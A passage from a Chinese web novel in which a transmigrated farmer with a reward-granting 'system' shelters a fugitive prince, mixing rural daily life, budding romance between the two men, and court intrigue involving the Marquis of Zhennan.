不止是他,整个皇宫,前朝后宫,但凡知情,无一不愁肠百转,寝食难安,盼望着圣上赶快好起来。 时至如今,别无他法,福寿禄只能迫不得已,祈求那煞星珏王全头全尾的活着,安一安圣上的心。 圣上,一定要好起来啊! 甘露殿内,龙涎香浓重。 宫女们悄无声息的收拾屋子,一丁点声音都没有,垂着头有条不紊干自己的任务,不敢逾矩半步,连头也不敢抬。 因而,她们没看见,屏风之后,重重帷帐下。 本该缠绵床榻的帝王,一手拿书,一手支头,黑暗后的下半张脸,勾着一个似笑非笑的弧度。 8. 第 8 章 “轰隆——” 天边一声巨响,豆大的雨滴争相落下。 屋内闷热,陆观潮席地坐在门槛,泥腥味裹夹着青草味萦绕在鼻尖,他盯着屋外的急躁的水滴,清新湿润的风刮来,偶然有雨水斜斜飞来,衣摆被打湿一片,很舒服。 是从没有过的宁静,陆观潮莫名觉得安心。 身后传来脚步声,陆观潮没有动作,他知道是季铮。 蒸腾的热气烫了他一下,陆观潮歪了歪头,季铮把一碗热水递到他面前。 季铮道,“雨天潮湿,喝点热水驱驱寒气。” 陆观潮接了碗,抿了一口。 热水入喉,陆观潮眯了眯眼。 他喝过千金难买的茶水,喝过脏污的冰河水。 这一碗质朴的开水,是头一次。 季铮同他一样坐下,耸耸肩,“该泡茶的,不过你知道,上次买的茶早喝光了。” 陆观潮垂眼,又喝了一口,“这个就行。” 季铮经过这几次任务,也算是明白了,他绑定的这个系统一定是个病入膏肓的社恐,十成十的弱智人机,从不会主动触发奖励,每次都要他上赶着才会继续下一步。 比如这时,季铮在识海里喊了系统一声。 一阵电流声,系统弹出任务面板。 【任务二完成度100%,是否现在兑换奖励。】 他暂时用不上织机,幸好系统有自动存储的功能,并随时能用。 季铮戳了下“是”的选项。 系统加载几秒,弹出新的任务框, 【任务二奖励已发放。】 【任务三:长成。】 【时限:六个月,奖励:翻车建造图纸明细。】 【鉴于空闲过长,一并发放任务四:普及曲辕犁至临沂村,时限无,耧车建造图纸明细。】 【需要现在打开任务二奖励织机改良吗?】 季铮还沉浸在这突如其来的喜悦中没回过神。 他没有听错的话,奖励是翻车和耧车! 这两样无论哪一个拎出来,都足够他功成名就,衣食无忧的过完后半辈子了! 是谁说种田系统不好的,这种田系统也太棒了! 季铮难掩心中喜悦,直接把织鸡抛之脑后,也是,有了这两样硬通货,不管是什么朝代,什么背景,他都能过的顺风顺水,了解时代什么的,和他的金手指系统说去吧。 他就说吗,哪个穿越着,活的像他一样憋屈! 季铮恨不得拉着陆观潮起来跳一段华尔兹。 他思索片刻,戳了保留奖励。 系统:【好的,系统已收录。】 屋檐下,有叽叽喳喳的鸟叫声,不知何时多了一窝春燕,幼鸟吵闹,张着嘴等大鸟喂食。 季铮笑道,“燕檐下筑巢,好运将至,是喜事。” 乌云未散,天地间仿佛被罩上一层布,阴阴沉沉的。 少年的眸光却异常明亮,在这氛围里格外耀眼,无声感染着他,像是遇到了天大的好事情。 不由地,陆观潮顺着他的目光看去,平日里只觉无聊的事物也多了几分趣味。 他不是个爱玩弄风雅的人物,甚至是嫌弃。 可眼下面上真情实意的笑不是作假。 一场大雨断断续续下了两天,第三天终于放晴。 清早,季铮是被燕子的叫声吵醒的,他起床,伸了个懒腰,床下陆观潮已经没影了。 他边系衣带,边打着哈欠走出屋,靠在门框边,睡眼惺忪的望向在院子里忙活的陆观潮。 陆观潮在劈柴,衣袖挽起到手臂,露出精壮的线条,表情严肃,但看脸任谁也猜不到是在劈柴,只会以为在处理什么难缠的政事。 相处下来,季铮不自觉的转变了态度,陆观潮活干的熟练勤快极了,安排什么也毫无怨言照办,压根和少爷沾不上边。 只是一张脸总是没个好颜色罢了。 想着,季铮叫住陆观潮,“吃早饭了吗?” 陆观潮瞥他一眼,匆匆收回视线,趁擦汗的功夫指了指桌子。 桌上,一碗米汤,加上一张饼,已是常态,有时一碟清炒小菜,就算上加餐了。 也就是得利于前几日陆观潮打到的野猪,经季铮卤过内脏,才多了些荤腥。 一人份,陆观潮吃过了。 季铮道了声谢谢,安静的坐下吃饭。 饭后收拾了碗筷,季铮把一直没来及拿出来好好晒的猪肉挂到屋檐下。 到现在,那头猪可算是彻彻底底的利用全了,一丝一毫也没浪费。 雨水过后,屋内一片潮湿,季铮睡在床上还好,陆观潮打的地铺可大不相同。 昨天他无意间看见陆观潮生了湿疹,不严重,但其这滋味,一定不好受 于是,季铮做完一切后,和陆观潮打了招呼,便把他的地铺搬出来挂在院子里晾晒。 陆观潮不自然的摸了摸后颈发痒的红点,心头一暖。 季铮他……竟能观察的这地步。 前不久田里播下的种子发了芽,季铮兴奋坏了。 他穿越前种过大大小小的地,但这不一样。 这是他穿越异国他乡后,第一次由他参与全程的地,意义重大! 看着绿蒙蒙的新芽,无端一股我家有儿初长成的快感上心头。 这种念头驱使着季铮斗志昂扬的抄起锄头松土,难得的比陆观潮还有干劲。 陆观潮瞧着他,被那份由衷的开心感染到,忽的笑出声。 好心情没持续多长时间,午饭后,一声惊雷震天响。 季铮和陆观潮对视一眼,未等言语,耳畔又是雷鸣。 这雨,没完没了了! 俗话说春雨贵如油,但谁家像这样下起来不停了,还赶在这个时候。 陆观潮面色复杂,“我的被子,是不是还在院子里?” 季铮尴尬的揉了揉下巴,“我记得,好像是的。” 陆观潮,“……” 缄默的气氛中,一滴雨水砸到陆观潮额头,顺着高挺的鼻梁滑下,充满戏剧性,季铮正要笑两声缓解一下,更多的雨水滴下,瞬时两人的衣服皆斑驳水渍。 紧赶慢赶的冒雨回到家,还是太晚了。 院里陆观潮的地铺,连同早上刚劈好的柴火,淋了正着,湿漉漉的无法用了。 四月的天孩子的脸,说变就变,几分钟前还势不可挡的风雨转眼停歇,天边放晴。 就不巧,偏偏让他们撞上了。 火热的太阳不知廉耻,欠扁的照着两人。 陆观潮双手搭在膝上,神色淡淡,不是不在乎,而是无力又可笑的感觉袭来,他一时不知该做出什么表情。 罪魁祸首,好心办坏事的季铮扶额,意图遮住心虚的双眼,他抿紧唇,似乎在憋笑。 两人衣服湿了大半,宛如洗了个澡,狼狈凄惨。 屋檐下,多了两个生无可恋的可怜人。 唯一值得庆幸的是,猪肉挂在屋檐下,没受影响,如果猪肉也跟着遭殃,他不如找块石头撞死得了。 陆观潮缓回来后道,“我怎么睡?” 没有被子没关系,他身强体壮不怕冷,更何况马上入夏,不盖被子也无妨。 没有枕头没关系,他早年行军,枕着石头都能睡。 没有地铺没关系,他无论是草地还是石板,都睡过了。 区区没有被子,没有枕头,没有地铺,又怎样?他能忍! 季铮咳嗽两声,拍了拍陆观潮的肩,“没事,都是大男人,你可以和我挤挤。” 陆观潮下意识皱紧眉头,一句“不要”就要脱口而出,话到嘴边拐了个弯,他别过头,闷闷“嗯”了一声。 出于什么心思,陆观潮也不清楚,话一出口他便生出丝丝后悔,但更多的,是他自己都说不明白的,隐隐约约的期待。 像是有几只小蚂蚁咬在他心口,不疼,痒痒的。 陆观潮转头打量季铮,试图从那张一向喜怒形于色的面孔上看到和他一样的情愫,扑了个空。 即使是这么倒霉,季铮也没有苦恼的模样,那温和的笑从没有再他脸上消失过。 让人见之心情舒畅。 没看到想看到的,陆观潮烦闷的轻轻“哼”出一声鼻音。 季铮敏锐的察觉到,脑袋凑过去,“你不想?” “我!”陆观潮看着近在咫尺的季铮,脑袋嗡的一声,他干了什么! 他刚刚在干什么! 哼个屁啊! 季铮歪了歪头,不解问,“你的耳朵也生疹子了吗,好红。” 陆观潮气血上涌,带着被戳穿的窘迫,蹭的站起身,同手同脚的走到别处坐下,恶狠狠的瞪了季铮一眼。 那眼神威慑力太强,季铮打了个哆嗦,被瞪得后背发凉,他弱弱瞪回去,“看我干什么,不愿意就不愿意,大不了你睡床,我在地上凑活一晚。” 陆观潮当即拒绝,“不用,不是说挤挤吗,挤挤就挤挤吧。” 开什么玩笑,季铮这瘦瘦虚虚的小样,在地上睡,不要命了? 晚上,一顿饭吃的艰难,季铮倒不受影响,陆观潮别扭的很,他不矫情,和人挤一张床有什么的?他又不是没经历过,不同的地方在于,从前和他挤的,都是五大三粗的汉子。 季铮这小模样,陆观潮生怕他一个翻身把人压死了。 两人吃过饭,再一次站在床前发呆。 遥记陆观潮在这的第一晚也是这样,不过这次没有谁打地铺的选项了。 僵持半晌,季铮主动开口,“还睡不睡?” “睡,”陆观潮狠了很心道,“你睡里面吧。” 古代没有电器,煤油精贵,轻易不敢使用,夜生活堪称单调非常,往往吃了饭,天一黑就上床睡觉了,季铮穿越过来后,慢慢的习惯了早睡早起的作息,这会,生物钟一响,不由自主的犯困。 季铮点点头,迫不及待脱了中衣,只着里衣爬上床躺下,盖上被子。 陆观潮怔了怔,没动。 “上床啊。”季铮见他迟迟没有动作,疑惑的支起半边身子,体贴的把被子朝外挪了一段。 他拍拍身边故意空出的位置,邀请道,“来啊。” 陆观潮后悔了。 彻底后悔了。 他应该说去地上凑活一晚的。 与其受季铮这个做事傻而不自知的折磨,他还不如天为被地为床,风餐露宿。 9. 第 9 章 两人平躺在不大的床上,几乎是肩挤着肩,谁也没睡,睁着眼看一片漆黑的屋顶,他们都知道对方没睡着,却没人开口。 季铮微微偏头,静谧的月光从纸窗照进来,他能看到身边人的侧颜。 鼻梁高挺,眼睛紧闭着,睫毛一颤一颤的,人还没睡着。 没了那双仿佛能洞察一切的眸子,这个人看起来温和多了。 陆观潮皮肤不算白,倒也不黑,很健康的颜色。 不是平民干活倒熟练,沉默寡言但小脾气不少,这人到底是什么来历。 季铮收留了他这么多天,相处下来多多少少称得上一句关系不错。 可他一点也不了解陆观潮,只知道人的名字。 季铮想着,心里弥漫起一股很不爽的情绪。 他自觉坦诚相见,连珍贵的曲辕犁图纸都大方给出去,一点也不怕惹祸上身。 陆观潮却一直有所收敛。 季铮才不信狗屁失忆,他只是看着呆,又不是真傻。 失忆这种毫不科学的说辞,能骗的过没有医疗知识的古代人,可骗不过他。 他捡到陆观潮的时候早确认过了,男人全头全尾,身上的伤并不重。 失忆? 是以为他智商堪忧胡诌的吧。 季铮恨很瞪了陆观潮一眼,不满道,“陆观潮。” 寂静几秒,陆观潮开口,“我在。” “你为什么……”季铮没说完就止住了声音。 一来他很难解释自己为什么早发现了却到现在在质问,二来一开始就是奔着白嫖陆观潮力气的打算去的,问这个有什么意义。 于是季铮闭了嘴。 陆观潮等了一会,没听到季铮的后话,奇怪的睁开眼侧身看向他,“你要说什么。” 他敏锐远超常人,早发现季铮在偷看了,想看看这家伙要搞什么名堂,最后得了句没头没脑的话,顿时丈二和尚摸不到头脑,主动问了。 “没什么。”季铮有点心虚,抬眼再次盯着屋顶,心虚道,“就叫叫你……” 直觉告诉陆观潮肯定不是这句话,他欲要继续问,只听季铮“嗯!?”了一声弹坐起身。 陆观潮一脸懵,跟着做起来,“你叫唤什么?” “我草了,屋顶漏雨!” “什么?” “滴我眼里了!” “……” 最后把那句质问的话还是没有问出来,两个人中间隔着一个大盆,用以接雨水,尽显拥挤,即使面对面,也看不到同样一言难尽的表情。 陆观潮沉默半晌,看着季铮忽的问道,“你刚要说什么。” “没什么。”季铮顿觉尴尬,缓缓背过身,“你就当没听见。” 陆观潮仍不罢休,张了张嘴还要再问,又听季铮打着哈欠道,“睡了。” 满心疑虑被堵了个结实,陆观潮没做声背过身去。 【镇南候府】 “侯爷。”侍卫停在门口一行礼,“有人求见。” 镇南候才从营里回来,一身甲胄还没来得及卸下,连口水都没喝上便听见侍卫通传,登时没什么好气。 本以为又是江南道一带攀附权势的小人,心底烦不胜烦,正要斥责侍卫将人都送走时,又传来侍卫慌里慌张的声音,“是,是……” 他左右看看,小心翼翼的凑近镇南候,“来人说,是珏王殿下的人……” “殿下!?”镇南候面上一喜,疾走了两步,“快快请人进来。” 没过一会,赵年风尘仆仆而至,大抵是马不停蹄的赶来,没肯休息分毫,那外衣抖一抖还能掉下来尘土 他咳了一声,打眼瞧见镇南候就要跪下行大礼,“侯爷!” 镇南候忙制止,“好赵年,瞧见你我便放心了,殿下如何了?” “侯爷安心。”赵年道,“殿下藏身之地暂时安全,但一直躲藏毕竟不是长久之计,殿下叫我来告知您,说您有办法。” 镇南候点点头,“我若连那年轻帝王也无法奈何,倒不必自称一句镇南候了。” 他这话是在大胆,饶是屋内无外人,也还是吓得赵年一颤,这天下怕只有镇南候敢这般大放厥词了。 镇南候出身前朝开国元勋独孙,说句逾矩的,那可是有与先帝穿一条裤子长大的情谊,当今帝王要称呼一声亚父的,要不是年纪大了,陈年伤难治,也不会退居江南。 钦赐玉牌令其自由出入皇宫,教导皇子武艺,可惜帝王陆泽身子太弱,于武学上无能,并没有多少成绩,一日陆泽心血来潮请陆观潮来观看,也正是因此,久居冷宫的陆观潮才有幸被挖掘。 赵年少时受家族排挤,被选为陆观潮伴读,两人相伴长大,后又跟随上战场,受封官职,情谊深厚。 起初他也是感恩陆泽的,若不是陆泽搭错筋非要陆观潮来看,不得在冷宫蹉跎一生,立冠后草草取下封号打发走,定不会有今日造化。 而现在想来,陆泽哪里是好心,分明是少年心高气傲,故意在陆观潮面前炫耀罢了。 恐怕人人称赞贤德的帝王,底下厌陆观潮入骨,恨不得除之而后快。 早知如此,陆观潮接旨回大都时,他该拼命拦着。 听到镇南候打包票,赵年松了口气,腿一弯险些当场瘫倒,被镇南候一把扶起才重新站住。 “谢侯爷。”赵年道,“我日夜奔波,生怕迟了殿下再度遇险,见到侯爷终于敢放下心了。” 镇南候应下,吩咐人安排赵年,又问,“你家殿下在何处?” 赵年回忆着答道,“子瘦山一户生员家中。” 赵年走后,一直沉默的副将开口,“侯爷,您当如何?” 镇南候沉吟须臾,拍了拍副将的肩膀,“江南靠给你了,圣上留有后招,我独自前往,以免打草惊蛇。” 他叹了口气,有几分惆怅,“圣上眼里容不得沙子,是臣子之福,也是祸。” 副将没敢多问,别说煞星了,这世上大抵也就镇南候不怕那煞星了,珏王名号传出去,谁不闻之色变? 一个晴天,院中晒着陆观潮的被褥,烈阳投下映出一小片阴影。 季铮扛着锄头回家,抬眼瞧见在屋顶忙碌的陆观潮,讪笑着打了声招呼。 按照他的了解,陆观潮是不会理他的。 果不其然,陆观潮置若罔闻,连头也不舍得抬。 季铮放下锄头,冷不丁听见陆观潮的声音,“你回来了?” 语气依旧毫无起伏,不掺带一丝感情,要不是已经习惯了,他会以为是干了亏心事被鬼找上门了。 他再抬眼,正巧和陆观 潮对上视线,迟钝的点了下头。 陆观潮居高面下,两人无言对视良久,季铮奇怪问,“干啥?” “没事。”陆观潮别过头,没了后话。 季铮搞不懂陆观潮莫名其妙来这么一句有什么意义,挠了挠脑袋干脆不去想了。 阳光正好,他铺平纸张,研墨照着本书写字。 大周朝不属于季铮印象里任何一个朝代,最大的区别是,这里沿用的字体竟是简体字,倒行了方便。 他打算教原身妹妹习字,自然不是说说而已,一会的功夫写了页字帖,只等妹妹回来后临摹。 考虑到妹妹才开始学字,他特意找的简单笔画少的字,但愿妹妹会感兴趣。 季铮小心拎起字帖吹了吹,身前暗了一片,吓了他一跳。 他回头,见是陆观潮在心里翻了个白眼,面上强笑着问,“你走路怎么没音啊?” 也不知陆观潮理解成什么了,上下扫了季铮一眼,看得季铮直发毛,道,“你学不会。” “……” 谁要学了啊? 季铮尴尬的敛了笑。 半晌,陆观潮忽然问,“你写这个干什么?” “给我家妹写的。”季铮胡诌道,“家里以前没钱,耽误了她认字,如今再捡起来也不晚。” 陆观潮难得点头,赞同道,“姑娘家读书是好事。” 季铮意外的看了他一眼,着实想不到陆观潮一个在封建王朝土生土长的古代人,会说出三观如此正的话。 “看我做什么?”陆观潮皱眉,“我说的不对?” 季铮真心晒了个笑道,“对,很对,你的思想觉悟走在时代前列。” 陆观潮欲言又止,憋了好半天也没说出口,他背过身收被子,心里忍不住想,倘若来日季铮听闻他的传言,还会说出今天这些话吗,怕不是要躲得远远的。 是夜,一阵风顶起没关严的窗子,吹过红烛,屋内黑了一瞬,女娘坐在织机前揉了揉眼,没起身。 风停下,火星子闪烁着复燃,女娘便继续操作织机,手下动作纷飞,织好的缎子针脚细密,可见绣工极好。 “季小妹?” 门口传来声音,女娘顿住,她常年织布,听久嗡嗡声伤了耳朵,凝神分辨清楚才去开门。 “小妹。”陈姑娘递来一只小竹篮,“一直忙到现在,还没吃东西吧,我找他们要的,你先吃点。” 季状元接过,露出一个恬静的笑,她瘦弱些,这个笑瞧上去显得弱不经风,随时就要倒了一样,“谢谢陈阿姊,快进来歇歇脚。” 主家分了她一间小屋子,除去织机,只能塞下张床,甚至连她的身材都要蜷着以防跌下去。 沈姑娘进屋,私下看看,没有空闲的东西让她坐下,索性站着了。 季状元局促的抱着竹篮,忙腾出一把圆凳。 陈姑娘摆了摆手,“不必不必,我只是来问问你,明日放假你要回乡吗?” “明日啊。”季状元微微出神,她不大想回去,可阿兄还在家,也正因为阿兄在家,她才不想回去。 陈姑娘又道,“听说,你阿兄停了功课,这几日亲自下田耕作了呢。” 季状元一懵,“亲自?” 她的阿兄肯下田?不是怕伤了手写不出好文章吗? 10. 第 10 章 “小妹?”陈姑娘见她发愣,叫了她一声,从竹篮里拿出饼子塞给她,“快吃吧,再等就凉了。” 季状元回过神,捧着尚且温热的饼子一小口一小口的啃。 她和季铮的皮相都是临沂村出了名的好,倒不是话本里一眼惊鸿,倾国倾城的容貌,能美的人惊心动魄。 而是顺眼。 第一眼看上去平平无奇,但越看越欢喜,鼻子眼睛个个长对了地方,乖乖巧巧吃东西的模样,叫人无端生出好感。 陈姑娘怕她心里想着活计,饼子不吃完就忙,一直盯着她全吃下肚才放心离开。 后半夜,织机的声音明显慢了下来,季状元看着手下的布料,微微出神。 她不由回忆起上一次见阿兄的场景,年关刚过,空气里爆竹的刺鼻味道还没散,冷厉的寒风刮得人脸疼,她工钱不多,还要为季铮卖书籍笔墨,新年里连一件袄子都没添置。 清晨,她在院子里洗衣服,手指冻成紫红色,无论怎么捂也没知觉,屋内炭火烧的暖和,季铮念着她听不懂的句子,透过门缝出来,却渗不出一丝热气,季铮也没开口让她进屋。 后来她实在受不了,小心翼翼的进屋,缩在一角,手中不忘捏着针,生怕被训斥偷懒。 季铮翻了页书,邹然道,“你该回主家了吧。” 直到织机线断了,布料一顿,她恍然惊醒,搓了搓脸,不再想这些糟心事。 可捋好新线,她又想,还是回家看看吧。 屋顶已经修好了,田里庄稼只需每日浇水,隔几天翻土即可,两人陷入一段称得上无所事事的时间。 他们实在没有能聊的话题,从早到晚相顾无言实属常事,诡异的氛围快把季铮憋上火了,偏偏陆观潮对季铮的尴尬视若惘闻,像个没事人一样,天天没活找活,在家里忙进忙出,仿佛有干不完的活。 甚至,他连季铮不知道何时到家的妹妹都照顾到了,向陈昇借了斧头,一大早进山砍树,说要打张书案,方便来日习字。 季铮端着热水倚在门口送陆观潮,竟有股退休后看到能干的儿子接班的感觉。 那明显慈爱的眼神看得陆观潮不自在,不解问,“看我干什么?” “没什么。”季铮讨好似的将碗朝他递了递,“辛苦你了,喝口水吗?” 陆观潮扫了一眼季铮用过的碗,答非所问,“我带了水壶。” “哦。” 季铮没多想收回手,下一秒手腕被捉住,在他还没反应过来之际,陆观潮牵着他的手腕将碗挪到嘴边。 明明没用多少力气,他却怎么也挣脱不开。 陆观潮就着季铮的手喝了一口,碗里本就剩的不多,不过须臾间的功夫,手腕上的力道消失。 “谢谢。”他擦了擦嘴,状似无意道了一句,“我走了。” 徒留季铮一个人在原地发愣。 许久,他心底冒出一个念头,陆观潮上辈子是火炉吗,握住他时好烫。 季铮低头看自己的手腕,有些红印子,倒时不痛,过会就消下去了。 他攥紧拳,再抬头却看见陆观潮走出几步,被路上一块没长眼的石头绊了一跤,差点摔倒,没良心的笑出声。 陆观潮听见那声笑,稳住身形后蓦然一顿,脚下步子迈的更快了。 荒谬,他跟季铮待久了也傻了不成,怎么会干出这档子事。 一路走到山林深处,他才压下心中不虞的情绪,斧头才落地,天边飞下一只灰鸽,停在陆观潮手边不动了。 陆观潮解下灰鸽脚上绑的纸条,打开看了一眼,皱紧的眉头这才舒展开。 是他在大都的眼线:“殿下安好,圣上病重不起,朝中大乱,幽州尚且无异样。” 好在陆泽不算太愚昧,他失踪的消息并没有传到军中,不然若被敌军得知该如何是好,幽州外敌国虎视眈眈,主将又不在,饶是谁也不会舍得放过的。 陆观潮取出一早备下的纸条绑到灰鸽脚上,喂了一把饼渣,一扬手,灰鸽振翅飞远。 他一边砍树,一边想下一步该怎么做。 陆泽一定还在大力搜寻他,什么时候搜到这里谁也说不准,他凭死缠烂打留在季铮家里,可见季铮并不是爱多管闲事的人,届时必然不会为他遮掩。 更何况季铮还有一个不明性格的妹妹,躲在这不是万全之计,他得早作打算。 不知镇南候要花多少时间才能破局,他又到底要蛰伏多久才可以脱身。 “咚”的一声,一棵树应声倒下。 陆观潮眨了眨眼,长输出一口气。 性命被别人捏在手中的感觉真不好受。 天色渐沉,陆观潮才回家,正好撞上和陈昇聊天的季铮。 远远的听到两人的声音,季铮语气愉快,看起来聊得很开心, 陈昇笑得还是像他第一次见时那样难看,“辕犁我弄好了,天晚了,你明天去拿吧。” 季铮道,“对不住了,我手上现在没有现银,往后一定补给你。” “别这么见外。”陈昇笑道,“你把图纸留一份给我,比多少银子都值钱,对了,我上次见庙会有人卖字画,你字写得好看,要不写几张下次庙会拿去卖……” 陆观潮默默走过去,一句话也没说,就直愣愣的站着。 “回来了?”季铮瞥见陆观潮回来,问道,“今天怎么这么久。” 陈昇话没说完,索性他脾气好,被打断也不恼,和陆观潮道,“陆哥,听说你要给季阿姐做书案?” 陆观潮目不斜视,凉凉“嗯”一声,把手中的斧头丢给陈昇,颇有几分幽怨的瞪了一眼季铮,径自进屋去了。 陈昇手忙脚乱的接住斧头,额头冒了一头冷汗,他叹道,“季铮哥,陆哥的脾气真大,这斧头是能乱丢的吗,万一伤着人怎么办?” 他没刻意压低声音,这一句钻入陆观潮耳里,当即愤恨的摔了一把门。 木门年久失修,震了两下,摇摇欲坠,勉强撑住了。 陈昇这下知道小声说了,感概道,“季铮哥,你和他一起生活很难熬吧?” “也没有,还好吧。”季铮道,“你陆哥挺好哄的。” 陆观潮总无缘无故的生闷气,季铮早就习惯了。 陈昇眼巴巴的望向季铮,“哥,你脾气真好,我这个人笨,以前是不是哪里做得不好了,所以才不理我?” 糟糕,人设崩塌了! 想维持原身这种满口之乎者也,眼高于顶,谁也看不惯爱装b臭屌丝的人设很难啊! 季铮一惊,大脑飞速运转,最后拍着陈昇的肩,沉重道,“并非,而是我顿悟了!” “顿悟?”陈昇没听懂,追问道,“怎么说?” 季铮一挥手,“你看,这桑田山河在前,那功名厚禄便如过往云烟,当今圣上不辨亲贤,使我蹉跎久久不得入仕,我 与其迎合权势,做个整日享乐,溜须拍马的假贤臣,何不放浪形骸,扎根基层,做实事的真贤士,想通了事,心态自然不同往日。” “陈昇。”季铮端着一副高人模样,“你可明白我心中的志向?” 陈昇在原地楞了足有五秒,天知道他脑补出了什么惊天动地的前因后果,眸中涌出热泪,紧紧拉住季铮的手。 “我爹曾和我讲尊君,我竟不知天地还有这一番道理,季铮哥你放心,你有什么用得上我的,尽管找我,我不怕。” 怕?这挨着怕不怕什么事? 季铮心下疑惑,但心里想着还有一个陆观潮得哄,打着哈哈把热泪盈眶的陈昇送走了。 “陆观潮,你怎么了?”季铮在门外探头,观察陆观潮的表情,可惜屋内没点蜡烛,他什么也没看清。 他没等到陆观潮说话,问,“你心情不好?” “你真那么想?” “什么?”季铮说完才回过味,敢情是在问他向陈昇胡诌的那些话,没成想陆观潮居然还会偷听,他好笑道,“你偷听了?” “我在问你话。”陆观潮不依不饶,“你当真那样想?” 见陆观潮如此严肃,季铮咳了一声,了当承认了,点头道,“是,大逆不道,你是想这么说吗?” 这个时代重文轻武,凭借季铮单单考中生员就被十里八乡称呼天才就能看出,哪怕并没多少人记得他的相貌秉性,而重文轻武必然会造就文人不作为,武人没出路,一国军力衰微。 世道不该如此,至少在长在新时代的季铮眼里不该是这样。 可这些弊病还未表露,大周表面上还是一派祥和。 不仅是系统任务,更加上黎民百姓很难出头,季铮自认不算得多聪明,不通人情世故,他便心安理得的缩起来种地罢。 陆观潮笑了声,“大逆不道?我却认为有理极了。” 陈昇没反驳大概是看在两人自小长大的情谊上,那陆观潮和他才相识没多久,则是也这么想的才认同他。 季铮惊喜道,“看不出来,我还以为你这么闷,内里会是个老学究。” “我也看不出来。”陆观潮上下扫过季铮,“你竟有造反的心思。” 造反?他吗? 季铮几时说要造反了? 他疑惑反问,“我要造反?” 陆观潮挑眉道,“你不是这意思?那你为何……” 今时不同往日,季铮现处于一个和皇帝名讳谐音相同就要砍全家脑袋的时代,当众指责皇帝,可不是摆明了我要反天? 坏了,他要怎么和陈昇解释,陈昇那话,该不会是想和季铮干一票吧? 陆观潮道,“你不是这意思?” 季铮忙到,“不是!我的意思是想做散人,好好种地啊。” 陆观潮有些失落,“好吧,不过你敢说出,我也敬你有胆量。” 因着这对话,季铮焦急之下忘记哄陆观潮,睡前他猛然想起,又想陆观潮既然有闲心评价他的话,或许已经气消了。 半夜,就当季铮快睡着时,忽听陆观潮道,“你讨厌我?” 季铮迷迷糊糊的偏头看他,陆观潮又道,这次染上些愠怒,“扭捏什么,实话实说就是。” 看他这架势,怕是季铮说出一句不中听的话,小命就玩完了,哪里敢实话实说。 季铮瘫倒床上,闹脾气能不能不要在晚上发作啊? 11. 第 11 章 陆观潮又问,“为什么不说话?” 季铮悄悄翻了个白眼,他还想问陆观潮为什么这么问呢。 “没有啊。”季铮尬笑道,“从哪看出来的,你长得帅又能干,我喜欢还来不及,怎么会讨厌。” 陆观潮顿了顿,季铮能感受到方才还动来动去不安分的人一下子静的没音了。 很好,陆观潮诡异的拧巴情愫不算难缠。 季铮打了个哈欠的重新酝酿睡意,不料又被陆观潮打断。 “真的?” 陆观潮压着声音问,“我模样生的好?” 季铮无可奈何,哄道,“真的真的,你最帅了,帅的我无地自容,每天看着你忍不住自卑。” 骗人,他出生时,钦天监只一眼便算出他天煞孤星相,这辈子注定亲缘淡薄。 认识他的不敢直视,就怕折寿,不认识他的,也会被他一脸肃杀气吓到。 这么一张人见人不喜的脸,怎么可能是俊俏的。 陆观潮不懂钦天监评判的标准,但就是觉得若是季铮去看,得到的批注定会是圆满幸福,毕竟季铮油嘴滑舌,很难不受人欢喜。 不过季铮这人大大咧咧,心底干净像白纸,脑门里装不下是是非非,难免所交良人,届时他走后可别被人带坏了。 看在季铮救他一命,又收留他的份上,陆观潮决定教教季铮交友之道,凭借自己多年来的经验,告诉季铮什么人可以相交,什么人要趁早断掉。 比如,叫陈昇的那个铁匠,瞧上去比季铮还要傻几分,就是万万不可相处的。 而他,年纪轻轻战功赫赫,作为榜样再好不过,前提是排除他那些传闻。 对待友人,第一准则是有来有往,季铮给他吃住,他帮忙耕田,这是一来一往,陆观潮一天也没落下, 陆观潮送季铮礼物,季铮给他买衣服,这是二来二往。 但季铮把他被子淋湿这事,还没有表示。 作为老师,陆观潮很大方的原谅了季铮,没关系,季铮不知道,他便做个示范。 此时季铮说不讨厌他,他也该坦白自己的心意。 于是,陆观潮直起身,对季铮道,“我也不讨厌你。” 季铮睡着了,一阵阵呼噜传来。 陆观潮很不满意,他伸手摇醒季铮,“我还没说完!” 季铮睡眼朦胧,睁开眼看清是陆观潮,一脸绝望,“你干嘛……” “我说。”陆观潮一本正经道,“我不讨厌你。” 说完,陆观潮心满意足躺下睡觉。 季铮却毫无睡意了,他哀怨的盯着陆观潮的背影,发泄般的抓起枕头要丢,最终也没真丢下,抱着枕头窝囊的挪到角落。 陆观潮一觉醒来神清气爽,回头看着季铮收敛不住的怨气,问,“你怎么了?” 季铮不爽道,“以后晚上不要和我说话。” “为什么。”陆观潮和季铮坦然对视,一副真的不明白季铮意思的样子 两人相顾无言,陆净规看了会,无端道,“好吧,那你不要看我了。” 季铮眉头微挑,眼神询问。 “你昨夜说,我容貌好,看我会徒生卑意。”陆观潮说着,竟不好意思起来,他移开眼道,“那便别看了。” “……” 季铮当即转身,要回去在睡一个回笼觉。 “唉。”陆观潮拉住季铮,“你走什么,不是说好去取辕犁吗?” 他不等季铮回话,自顾自道,“对不住,你若当真想看,我又不能说你什么。” 无论季铮说的话多么惊世骇俗,文人的脸皮还是薄的,陆观潮暗自懊悔,他着实不该直言告诉季铮。 季铮这才想起来正事,恨恨道,“昨天是骗你的,你一点也不帅。” 说罢他头也不回的走了,也不管陆观潮跟没跟上。 陆观潮反应了一会才动作。 果不其然,文人的脸皮就是很薄。 陈昇一早就在等季铮了,瞧见季铮来,忙招呼两人进来。 “季铮哥。”陈昇道,“你们吃饭没?” 季铮正要实话回答,被陆观潮扯了一下衣袖,不明所以的闭了嘴。 陆观潮道,“我们吃过了。” “好。”陈昇没看出异样,兴冲冲道,“那你们先歇着,我去推来。” 待陈昇小跑着走远,季铮凑近陆观潮低声问,“你何时吃了?” “我没吃。”陆观潮承认坦坦荡荡的,大有一股浩然正气,“你曾与我说赵大爷生活拮据,不能常去做客,依我看陈昇日子也没宽裕到哪去,你我理应婉拒。” 季铮若有所思,陈昇待人热情,他从没考虑过,这么一想,的确是不太礼貌。 他道,“原是如此,还是你想的周到。” 陆观潮还想说,陈昇太狡猾,总能把季铮劝住,来日不仅要少做客,还要少见面,可惜陈昇回来了,他没来得及说出。 季铮上前打量陈昇造出来的东西,和他印象中的样子,不说一模一样,至少也有八九分相似。 陈昇道,“季铮哥,你看看,这样成吗,我没造过这东西,就怕搞的不好。” 他小心翼翼的看季铮的表情,见其没有露出恼意才松了口气,“下次,这次是第一次,还不熟练,但我琢磨清楚了,下次一定更漂亮。” 他就说吗,季铮哥儿时多么温和的一个人,怎么会一夜之间变得目中无人,大抵是之前一心科举没心力而已。 